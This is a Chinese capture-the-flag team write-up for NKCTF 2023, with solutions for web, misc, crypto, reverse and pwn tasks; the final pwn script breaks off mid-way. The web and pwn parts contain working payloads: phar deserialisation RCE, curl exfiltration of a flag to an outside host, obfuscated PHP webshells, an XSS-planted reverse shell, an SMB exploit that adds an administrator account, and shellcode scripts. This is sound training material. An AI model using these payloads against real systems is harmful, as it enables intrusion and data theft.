感谢战队的每位同学,辛苦啦~
Web: Nacl
、monkey111
Misc: Nacl
、mochu7
Socal Engineering: Nacl
、monkey111
、mochu7
Crypto: range
Pwn: gwoo
、Helen
Reverse: Helen
Web
webpagetest
webpagetest反序列化
首先下载 https://github.com/ambionics/phpggc.git
然后需要去更改php.ini
[Phar]
phar.readonly => Off
然后生成
./phpggc Monolog/RCE2 system 'cat /f*' -p phar -o testinfo.ini
URLENC_PAYLOAD=$(cat /tmp/testinfo.ini | xxd -p | tr -d "\n" | sed "s#..#%&#g")
curl -sSkig 'http://d44a0e24-e51d-4dae-976f-7583b5bcb409.node2.yuzhian.com.cn/runtest.php' -d 'rkey=gadget' -d "ini=$URLENC_PAYLOAD" -o -
curl -sSkig 'http://d44a0e24-e51d-4dae-976f-7583b5bcb409.node2.yuzhian.com.cn/runtest.php' -d 'rkey=phar:///var/www/html/results/gadget./testinfo.ini/foo' -d "ini=$URLENC_PAYLOAD" -o -
上面的命令一定要按顺序执行,并且不能报错
easy_pms
获取cookie
POST /repo-create.html HTTP/1.1
Host: b11ff344-b071-4efb-9e1b-ddc949f7a9fb.node.yuzhian.com.cn:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://b11ff344-b071-4efb-9e1b-ddc949f7a9fb.node.yuzhian.com.cn:8000//repo-edit-1-0.html
Content-Length: 111
product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=
执行命令。回显长度不够,利用curl外带进行回显
POST /repo-edit-10000-10000.html HTTP/1.1
Host: b11ff344-b071-4efb-9e1b-ddc949f7a9fb.node.yuzhian.com.cn:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Cookie: zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://b11ff344-b071-4efb-9e1b-ddc949f7a9fb.node.yuzhian.com.cn:8000//repo-edit-1-0.html
Content-Length: 85
SCM=Subversion&client=`curl 1x.x.x.x:8080/\`cat /flag | sed -n '2p' | base64\``
hard_php
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['NKCTF'])) {
$NK = $_POST['NKCTF'];
if (is_string($NK)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
eval($NK);
}else{
echo("hacker!!!");
}
}else{
phpinfo();
}
}
?>
POST / HTTP/1.1
Host: f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn
Content-Length: 247
Pragma: no-cache
Cache-Control: no-cache
Origin: http://f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: _ga=GA1.1.1443780141.1679210957; _ga_KCSGQQ51ER=GS1.1.1679673305.5.1.1679674790.0.0.0
Connection: close
NKCTF=%24_%3D(_%2F_._)%5B___%5D%3B%24__%3D%2B%2B%24_%3B%24_____%3D%2B%2B%24_.%24__%3B%2B%2B%24_%2F%2B%2B%24_%3B%24_%3D_.%24_____.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B___%5D(%24%24_%5B_%5D)%3B&___=shell_exec&_=echo '<?php eval($_POST[1])?>' >1.php
POST /1.php HTTP/1.1
Host: f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn
Content-Length: 34
Pragma: no-cache
Cache-Control: no-cache
Origin: http://f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://f63fde02-792b-4e74-9a81-20948b840fb4.node1.yuzhian.com.cn/1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: _ga=GA1.1.1443780141.1679210957; _ga_KCSGQQ51ER=GS1.1.1679673305.5.1.1679674790.0.0.0
Connection: close
1=echo file_get_contents('/flag');
eazy_php
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
if(isset($_GET['NS_CTF.go'])){
if(isset($_POST['cmd'])){
if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
eval($_POST['cmd']);
}else{
die('error!!!!!!');
}
}else{
die('error!!!!!');
}
}else{
die('error!!!!');
}
}else{
die('error!!!');
}
}else{
die('error!!');
}
}else{
die('error!');
}
?> error!
POST /?a=s155964671a&b=s214587387a&e=114514.1&NS[CTF.go=1 HTTP/1.1
Host: 6df06525-d4f8-4ab4-8245-0788d319647e.node.yuzhian.com.cn
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: _ga=GA1.1.1443780141.1679210957; _ga_KCSGQQ51ER=GS1.1.1679673305.5.1.1679677062.0.0.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1383
c=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&d=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&cmd=("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%00%06%00"^"%60%60%60%20%2f%60%2a");
baby_php
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg;
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>
反序列化,exp如下
<?php
error_reporting(0);
class Welcome
{
public $name;
public $arg;
public function __construct()
{
$this->name = new Hell0();
}
}
function waf($string)
{
if (preg_match('/f|l|a|g|\*|\?/i', $string)) {
die("you are bad");
}
}
class Happy
{
public $shell;
public $cmd;
public function __construct()
{
$this->shell = 'system';
// flag*?
$this->cmd = 'cd /;more `php -r "echo chr(102).chr(49).chr(97).chr(103);"`';
}
public function __invoke()
{
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0
{
public $func;
public function __construct()
{
$this->func = new Happy();
}
}
$a = new Welcome();
echo urlencode(serialize($a));
然后就可以得到flag了
easy_cms
进后台路径拼接dede,用户名密码都是admin
找到文件管理http://e55e4bd3-1ba8-406b-aca5-0f024a27b05c.node2.yuzhian.com.cn/dede/file_manage_main.php?activepath=
在这里直接上传一个异或webshell <?=@("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]); //get pass=1
POST /dede/file_manage_control.php HTTP/1.1
Host: e55e4bd3-1ba8-406b-aca5-0f024a27b05c.node2.yuzhian.com.cn
Content-Length: 760
Cache-Control: max-age=0
Origin: http://e55e4bd3-1ba8-406b-aca5-0f024a27b05c.node2.yuzhian.com.cn
DNT: 1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCuj4eb3iBDZfqySH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://e55e4bd3-1ba8-406b-aca5-0f024a27b05c.node2.yuzhian.com.cn/dede/file_manage_view.php?fmdo=upload&activepath=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,vi;q=0.7
Cookie: menuitems=1_1%2C2_1%2C3_1; _ga=GA1.1.1443780141.1679210957; PHPSESSID=9mh2undt7eig4ie7s8oum3m6hv; _csrf_name_03e7b682=2d7cd26735183fb6c6cb4b33789e6dc7; _csrf_name_03e7b6821BH21ANI1AGD297L1FF21LN02BGE1DNG=5beca81293f559eb; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=d4bb5084f02741a9; DedeLoginTime=1679723785; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=807179eceb2322d6; ENV_GOBACK_URL=%2Fdede%2Fplus_main.php; arp_scroll_position=0; _ga_KCSGQQ51ER=GS1.1.1679721468.8.1.1679724375.0.0.0
Connection: close
------WebKitFormBoundaryCuj4eb3iBDZfqySH
Content-Disposition: form-data; name="activepath"
------WebKitFormBoundaryCuj4eb3iBDZfqySH
Content-Disposition: form-data; name="fmdo"
upload
------WebKitFormBoundaryCuj4eb3iBDZfqySH
Content-Disposition: form-data; name="upfile1"; filename="shell.php"
Content-Type: image/jpeg
<?=@("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);
------WebKitFormBoundaryCuj4eb3iBDZfqySH
Content-Disposition: form-data; name="B1"
ä¸Šä¼ æ–‡ä»¶
------WebKitFormBoundaryCuj4eb3iBDZfqySH--
xiaopi
小皮面板这个是前段时间那个xss rce了
麻烦的点在于进管理面板和等待他的脚本触发xss
首先要有一台vps或者类似花生壳的内网穿透工具
我们先准备好脚本poc.js
网上的脚本都是直接写webshell,我这里直接用反弹shell
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="testaa";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="13";
data.minute = "38";
data.shell='sh -i >& /dev/tcp/xxx.xx.xx.xx/9999 0>&1';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
主要要修改这两个地方,反弹的时间
这个脚本是定时触发
比如我现在是13:34,我就给他加四分钟,13:38,这样你才有时间操作其他的步骤
data.hour="13";
data.minute = "38";
写入成功之后 计划任务是这个样子
poc.js修改之后
在你的vps上运行python服务器
python3 -m http.server 8000
然后就是准备进后台登录页面写xss了
X-Requested-With: XMLHttpRequest
在execute之后就会进入后台登录页面,我们就在这里写xss,我当时就猜测到他后台进程会有个bot自动触发代码(后面附上bot代码)
xss
<script src=http://X.X.X.X:8000/poc.js></script>
这里建议在容器刚开始运行的时候写xss,成功率更高
然后就是等待xss触发(长时间没成功建议重启容器多来几遍)
bot代码
from selenium import webdriver
from selenium.webdriver.common.by import By
import requests
from urllib.parse import urljoin
import ddddocr
from time import sleep
import os
import re
info = os.popen("phpstudy -instinfo").read()
url = re.search("http://127.0.0.1:9080/[0-9a-zA-Z]{6}", info).group(0)
password = re.search("[0-9a-zA-Z]{10}", info).group(0)
options = webdriver.FirefoxOptions()
options.add_argument('--headless')
browser = webdriver.Firefox(executable_path="/robot/geckodriver", options=options)
browser.get(url)
sleep(3)
browser.find_element(By.ID, "username").send_keys("admin")
browser.find_element(By.ID, "password").send_keys(password)
captcha = browser.find_element(By.ID, "captcha")
data = captcha.screenshot_as_png
ocr = ddddocr.DdddOcr()
browser.find_element(By.ID, "verifycode").send_keys(ocr.classification(data))
button = browser.find_element(By.XPATH, '//*[@id="LAY_app"]/div/div/div/div[5]/div/button')
button.click()
while True:
sleep(60)
browser.refresh()
xp登录的用户名不管成功还是会直接显示在首页,而且没有做任何过滤,然后就导致了后面的写入计划任务rce
Misc
hard-misc
>>> base64.b32decode('JYYHOYLZIJQWG27FQWWOJPEX4WH3PZM3T3S2JDPPXSNAUTSLINKEMMRQGIZ6NCER42O2LZF2Q3X3ZAI=').decode('utf-8')
'N0wayBack公众号回复:\nNKCTF2023我来了!'
blue
虚拟机直接导入
先扫出IP地址,这里是236
一开始以为是ms17 010
试了下发现打不通,使用nmap
尝试扫描其他smb
漏洞
nmap -P --script=smb-vuln* 192.168.50.236
利用这个ms09的CVE
shell
net user mochu7 mochu777 /add
net localgroup administrators mochu7 /add
三体
https://www.bilibili.com/video/BV1Ai4y1V7rg/
from PIL import Image
def decode(im):
width, height = im.size
lst = [ ]
for y in range(height):
for x in range(width):
red, green, blue = im.getpixel((x, y))
if (blue | green | red) == 0:
break
index = (green << 8) + blue
lst.append( chr(index) )
return ''.join(lst)
def main(filename: str):
all_text = decode(Image.open(filename))
with open("{}_decode.txt".format('.'.join(filename.split('.')[:-1])), "w", encoding = "utf-8") as f:
f.write(all_text)
if __name__ == '__main__':
main('三体.bmp')
THMaster
http://sobereva.com/usr/uploads/file/20150605/20150605012359_52218.rar
下载修改器把积分改到2亿
然后打开**THmaster.exe 在一个弹窗之后就可以用CE去查看内存中的值直接搜索NKCTF{ **即可得到flag
easy_rgb
montage *png -tile 15x12 -geometry 125x125+0+0 flag.png
gaps --image=flag.png --generations=50 --population=50 --size=125
那这个密码解压缩包得到r.txt g.txt b.txt
很明显是按照r g b
的顺序每次读一位字符得到压缩包字节流,脚本简单处理即可
r = "5b04000d663f400000006c6e747a434fbc7d0225c4060b2905cf0a280807372873460041100000ba56b200000000000000006c6e7400000110ea63055a596785d14500010000600745213"
g = "0040000ba56b2000000066778f4ac280276f9fb28fb3c282b4fdf7d8a0944bc722bd65b0410083a5492004008200000000006677800000008cc73d1c7630a5f595b000001500800015d38"
b = "4310083a54920040080061247309bcac200235fff7778acdfc0401090b3a37c1fcf3000204000d663f40000004000020000061247a20000004dd5985a5d14663000600000a0000004332"
data = ""
for i in range(len(r)):
try:
data += r[i] + g[i] + b[i]
except:
break
data += r[-1] + g[-1]
with open('flag.zip', 'wb') as f:
f.write(bytes.fromhex(data))
根据压缩包注释提示AES-128,密钥用之前的NKCTF2023
easy_word
小明这个笨蛋,给文档设置了一个密码,但是他自己却忘记了密码,他知道以下信息:
1.
密码是数学和小写英语的随机生成的
2.
hash函数:
输出大小 256 bits 内部大小 256 区块大小 512 长度大小 64 字符尺寸 32
3.
密码:h??vO??0 (?号部分为小明已经忘记的位置)
哈希:b75d1224 ... (后面不记得了...)
这里提示有个小问题,后面赛事群里纠正了是大小写英语,查一下符合条件的散列算法又是常用的只有:sha256
,脚本简单跑一下
import hashlib
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for c1 in chars:
for c2 in chars:
for c3 in chars:
for c4 in chars:
password = "h{}{}vO{}{}0".format(c1, c2, c3, c4)
hashcode = hashlib.sha256(password.encode()).hexdigest()
if hashcode[:8] == "b75d1224":
print("{} {}".format(password, hashcode))
PS C:\Users\Administrator\Downloads> python .\code.py
h4evOF90 b75d1224d1321f5acfe0fb499ff02ab0f15d199e227c77c84c1162340bc6c771
得到密码之后进去文档,隐藏文字、隐藏图片都看看,发现一张隐藏图片
图片中给了一个key,是png
,猜测是LSB,直接解密
PS D:\Tools\Misc\LSB\cloacked-pixel> python2 .\lsb.py extract .\flag.png flag.txt Welcome_to_NKCTF
[+] Image size: 2500x1438 pixels.
[+] Written extracted data to flag.txt.
first spam of rabbit year
搜索引擎搜索一下垃圾邮件内容发现是:https://www.spammimic.com/
底部的社会主义核心价值观编码解码为:rabbit 又 move
佛又曰:
有不可显示字符
这里末尾有个提示,猜测是指rot47
和rot13
然后尝试0宽,但是这其中有些0宽貌似不在以前解0宽的范围内,再找找别的0宽解密:https://offdev.net/demos/zwsp-steg-js
看着像密钥,一开始以为之后后面拿着用的,结果解不出来才发现这密钥需要rot13
然后将剩下的可显示字符提取出来做rot47
&auD5v'<)`h{dF6C_*'Jrcqzrh&ZaF>`g^Hr'}vuHZJB%~}_H5?gu;q)"<rA?{sH2{IfafKfu=6w
U2FsdGVkX19L5uer0YVyC4BKC9U+2um18/wCVNGFw+yqTON0wdn8FjBXQkCpnLDwaLx727z7FleH
最后得到这串很想Rabbit加密的格式,这里提示也有rabbit:https://www.codeeeee.com/encrypt/rabbit.html
密钥是:RabBbB1T
easy_bmp
完善bmp的结构
分辨率(width x height) x (颜色深度/8)+ bmp文件头(共14Bytes) + 位图信息头(共40Bytes) + 文件尾(共2bytes: 00 00) = 图像文件大小
SizeImage = (BitCount / 8) x (Width x Height)
width.bmp: (width x 283) x (32 / 8) = 1589328 -> width = 1404
height.bmp: (1404 x height) x (32 / 8) = 1550016 -> height = 276
flag.bmp多了一部分调色板数据
(width x height) x (8 / 8) + 调色板数据(1024 Bytes) + 54Bytes = 130678
(width x height) = 129600
分解一下:
width = 360
height = 360
得到一张二维码
baby_music
每一帧的数值最后一位在01
变动,盲测二进制数据
脚本简单提取并且转换成字节流写入文件,发现是zip压缩包
import wave
obj = wave.open('flag.wav', 'r')
frames = obj.getnframes()
# print("All Frames: {}".format(frames))
frames_data = obj.readframes(frames).hex()
bin_data = ""
for i in range(0, len(frames_data), 4):
data = frames_data[i:i+4]
real_data = int(data[2:] + data[:2], 16)
bin_data += str(real_data)[-1]
# print(real_data, str(real_data)[-1])
with open('flag.zip', 'wb') as f:
for i in range(0, len(bin_data), 8):
hex_data = '{:02x}'.format(int(bin_data[i:i+8], 2))
f.write(bytes.fromhex(hex_data))
注释又有一堆01
数据,尝试二进制转化发现没什么线索,观察每行的长度,最低1
最高6
,猜测是摩斯密码
01
替换为.-
welcome to nkctf the password is 16 bytes randomly generated is there a better way to unlock the zip?
根据这里描述以及压缩包中的压缩方法、加密算法,猜测明文攻击
echo -n "89504E470D0A1A0A0000000D49484452" | xxd -r -ps > png_header
easymusic
2020天翼杯原题:
https://cloud.tencent.com/developer/article/1676153
OpenPuff下载:https://embeddedsw.net/OpenPuff_Steganography_Home.html
Crypto
ez_polynomial
基于多项式分解的RSA
p = 40031
R.<y> = PolynomialRing(GF(p))
N = 24096*y^93 + 38785*y^92 + 17489*y^91 + 9067*y^90 + 1034*y^89 + 6534*y^88 + 35818*y^87 + 22046*y^86 + 12887*y^85 + 445*y^84 + 26322*y^83 + 37045*y^82 + 4486*y^81 + 3503*y^80 + 1184*y^79 + 38471*y^78 + 8012*y^77 + 36561*y^76 + 19429*y^75 + 35227*y^74 + 10813*y^73 + 26341*y^72 + 29474*y^71 + 2059*y^70 + 16068*y^69 + 31597*y^68 + 14685*y^67 + 9266*y^66 + 31019*y^65 + 6171*y^64 + 385*y^63 + 28986*y^62 + 9912*y^61 + 10632*y^60 + 33741*y^59 + 12634*y^58 + 21179*y^57 + 35548*y^56 + 17894*y^55 + 7152*y^54 + 9440*y^53 + 4004*y^52 + 2600*y^51 + 12281*y^50 + 22*y^49 + 17314*y^48 + 32694*y^47 + 7693*y^46 + 6567*y^45 + 19897*y^44 + 27329*y^43 + 8799*y^42 + 36348*y^41 + 33963*y^40 + 23730*y^39 + 27685*y^38 + 29037*y^37 + 14622*y^36 + 29608*y^35 + 39588*y^34 + 23294*y^33 + 757*y^32 + 20140*y^31 + 19511*y^30 + 1469*y^29 + 3898*y^28 + 6630*y^27 + 19610*y^26 + 11631*y^25 + 7188*y^24 + 11683*y^23 + 35611*y^22 + 37286*y^21 + 32139*y^20 + 20296*y^19 + 36426*y^18 + 25340*y^17 + 36204*y^16 + 37787*y^15 + 31256*y^14 + 505*y^13 + 27508*y^12 + 20885*y^11 + 32037*y^10 + 31236*y^9 + 7929*y^8 + 27195*y^7 + 28980*y^6 + 11863*y^5 + 16025*y^4 + 16389*y^3 + 570*y^2 + 36547*y + 10451
C = 3552*y^92 + 6082*y^91 + 25295*y^90 + 35988*y^89 + 26052*y^88 + 16987*y^87 + 12854*y^86 + 25117*y^85 + 25800*y^84 + 30297*y^83 + 5589*y^82 + 23233*y^81 + 14449*y^80 + 4712*y^79 + 35719*y^78 + 1696*y^77 + 35653*y^76 + 13995*y^75 + 13715*y^74 + 4578*y^73 + 37366*y^72 + 25260*y^71 + 28865*y^70 + 36120*y^69 + 7047*y^68 + 10497*y^67 + 19160*y^66 + 17939*y^65 + 14850*y^64 + 6705*y^63 + 17805*y^62 + 30083*y^61 + 2400*y^60 + 10685*y^59 + 15272*y^58 + 2225*y^57 + 13194*y^56 + 14251*y^55 + 31016*y^54 + 10189*y^53 + 35040*y^52 + 7042*y^51 + 29206*y^50 + 39363*y^49 + 32608*y^48 + 38614*y^47 + 5528*y^46 + 20119*y^45 + 13439*y^44 + 25468*y^43 + 30056*y^42 + 19720*y^41 + 21808*y^40 + 3712*y^39 + 25243*y^38 + 10606*y^37 + 16247*y^36 + 36106*y^35 + 17287*y^34 + 36276*y^33 + 1407*y^32 + 28839*y^31 + 8459*y^30 + 38863*y^29 + 435*y^28 + 913*y^27 + 36619*y^26 + 15572*y^25 + 9363*y^24 + 36837*y^23 + 17925*y^22 + 38567*y^21 + 38709*y^20 + 13582*y^19 + 35038*y^18 + 31121*y^17 + 8933*y^16 + 1666*y^15 + 21940*y^14 + 25585*y^13 + 840*y^12 + 21938*y^11 + 20143*y^10 + 28507*y^9 + 5947*y^8 + 20289*y^7 + 32196*y^6 + 924*y^5 + 370*y^4 + 14849*y^3 + 10780*y^2 + 14035*y + 15327
S.<y> = R.quotient(N)
P, Q = N.factor()
P, Q = P[0], Q[0]
phi = (p ** P.degree() - 1) * (p ** Q.degree() - 1)
e = 0x10001
d = inverse_mod(e, phi)
print(d)
m = pow(C,d,N)
m = "".join([chr(c) for c in m.list()])
print(m)
NKCTF{We_HaV3_n0th1ng_But_dr3amS}
Reverse
ez_baby_apk
用jadx打开
就是对比密文BxLHc1KruiH31I94W171oal+9olDzgBIjnK/J1Db0IUyi+MbI38+nw62ejCPShRB
与输入的值DES加密就可以了 但是这里要注意的点是
注意:
key1 这个变量的值是reversecarefully将’e’替换为’3’
vector2 这个变量是’reversehavemagic’ 的md5小写
然后查看DES源码 发现出题人将key 和 iv 互换了传参位置
http://tool.chacuo.net/cryptaes/ 解密就好了
NKCTF{nI_k@i_sHi_zhu_j1an_il_Jie_RE_le}
Pwn
ez_shellcode
check检查架构
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA64打开,查看伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rax
char buf[108]; // [rsp+0h] [rbp-70h] BYREF
int v6; // [rsp+6Ch] [rbp-4h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
puts("welcome to NKCTF!");
puts("u can make it in 5 min!");
read(0, buf, 0x100uLL);
v3 = strlen(buf);
strncpy(buf2, buf, v3);
puts("good luck!");
v6 = rand() % 100 + 1;
(&buf2[v6])();
return 0;
}
分析发现buf2变量可以赋值,并且会在结尾调用(&buf2[v6])();
,那么可以直接通过pwntolls生成写入shellcode
关键点在于 调⽤的buf2[v6],也就是说,要把shellcode写⼊到buf2[v6],也就是buf2+v6的
偏移
发现v6=rand()%100+1
那么得获取rand函数⽣成的随机值
关于rand函数 它本质上是⼀个伪随机,是固定的⼀个随机数 每次相同程序运⾏rand函数,
会获取相同的随机值
具体可以通过ctypes库的 cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
来解决
from pwn import *
from ctypes import *
context(arch='amd64',os='linux', log_level='debug',terminal=
['tmux','splitw','-h'])
#连接远程
io = remote('node2.yuzhian.com.cn',36077)
# 调⽤DLL中输出的C接⼝函数
#这个是对应该附件的Linux C标准库 只能在Linux上运⾏!!!!!!!!
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
#先填满偏移 v6=rand()%100+1
payload = b'a'*(libc.rand()%100+1)
#再写⼊shellcode到地址 buf2[v6]处
payload += asm(shellcraft.sh())
io.sendafter( 'min!',payload ) #发送payload
#程序会调⽤执⾏ buf2[v6]处, 也就是写⼊的shellcode所在地址
io.interactive()
a_story_of_a_pwner
checksec 检查架构及保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
用ida 64位打开 F5查看伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
int v5; // [rsp+8h] [rbp-8h] BYREF
int v6; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("today, I want to tell you some stories about myself.");
puts("I have a lot of stories, which one do you want to hear?");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
if ( opt != 1 )
break;
acm(&v6);
v6 = 1;
}
if ( opt != 2 )
break;
ctf(&v5);
v5 = 1;
}
if ( opt != 3 )
break;
love(&v4);
v4 = 1;
}
if ( opt != 4 )
break;
if ( v6 && v5 && v4 )
heart();
else
warning(&v6, &v5, &v4);
}
puts("wrong choice.");
puts("you hurt me so much.");
puts("DO YOU THINK IT'S FUNNY TO CHOOSE INCORRECT OPTION?");
puts("BYE.");
return 0;
}
分析代码
选项1,2,3对应的函数acm,ctf,love输出完之后最后会写入8字节到一段连续的bss段
当没执行过1,2,3对应的函数选4会执行warning函数,会输出puts函数地址便可获取libc基地址
当执行过1,2,3对应的函数选4会执行heart函数,在其中有一个read溢出,但只够溢出0x16字节
总结
获取puts地址得到libc基地址
执行1,2,3对应的函数往bss段写入system(“/bin/sh”)
栈迁移到bss段
脚本
from pwn import *
from LibcSearcher import *
# 连接远程
io = remote("node2.yuzhian.com.cn",39406)
elf = ELF("./pwn")
context.log_level = "debug"
# ROPgadget
fack_stack = 0x4050A0 - 8
leave_ret = 0x40139e
pop_rdi = 0x401573
# 获取puts地址
